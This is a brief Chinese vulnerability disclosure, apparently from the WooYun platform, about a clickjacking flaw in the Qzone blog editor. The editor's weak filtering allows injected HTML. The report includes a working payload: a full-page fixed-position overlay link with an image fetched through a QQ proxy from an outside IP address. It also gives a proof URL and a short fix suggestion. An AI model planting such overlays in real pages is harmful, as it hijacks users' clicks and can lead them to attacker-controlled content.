简要描述：成因源自于日志编辑器,过滤不严.此clickjacking 主要是做劫持点击之用.ps:不知是否可以定为clickjacking 漏洞,还轻各位鉴定下
详细说明：在日志中插入代码
 
<span style="position: fixed;top: 0px;left: 0.0px;z-index: 4000;width: 1300.0px;height: 1000.0px;color: rgb(0,0,0);"> <a target="_blank" href="http://baidu.com" data-mce-href="http://ppt.cc/ui2K"> <img src="http://qp.qq.com/cgi-bin/cgi_imgproxy?url=http%3A%2F%2F211.20.209.23%3A8888%2Frpm%2Fimg5000.php&amp;size=0" style="height: 870px; width: 870px;"> </a> </span>
漏洞证明：http://user.qzone.qq.com/771044833/blog/1324394065
修复方案：加强编辑器的过滤:D 随便说下
 
摘自xiao.k@乌云